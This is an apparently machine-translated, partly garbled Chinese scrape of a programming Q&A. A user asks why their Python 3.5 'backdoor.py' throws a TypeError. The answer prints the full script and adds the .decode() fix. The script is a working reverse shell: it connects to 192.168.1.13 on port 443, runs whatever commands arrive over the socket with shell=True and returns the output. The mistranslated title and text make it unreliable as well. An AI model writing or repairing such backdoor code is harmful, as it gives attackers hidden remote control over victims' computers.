Python3.5typeerror:类型为';int';这不是一个很好的后门

Python3.5typeerror:类型为';int';这不是一个很好的后门,python,int,python-3.5,Python,Int,Python 3.5,Python3.5 TypeError:类型为“int”的参数不可用于后门 我得到这个错误: Traceback (most recent call last): File "E:\Users\x\Desktop\backdoor.py", line 13, in <module> proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subpro

Python3.5 TypeError:类型为“int”的参数不可用于后门

我得到这个错误:

Traceback (most recent call last):
File "E:\Users\x\Desktop\backdoor.py", line 13, in <module>
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 950, in __init__
restore_signals, start_new_session)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 1194, in _execute_child
args = list2cmdline(args)
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 754, in list2cmdline
needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable

您正在从套接字读取二进制数据,然后将其视为字符串对象。正如发送数据需要
.encode()
,读取数据(作为字符串)需要
.decode()

#!/usr/bin/python

import socket,subprocess
HOST = '192.168.1.13'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(('[*] Connection Established!').encode())

while 1:
     data = s.recv(1024)
     if data == "quit": break
     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     stdoutput = proc.stdout.read() + proc.stderr.read()
     s.send((stdoutput).encode())

s.close()
data = s.recv(1024).decode()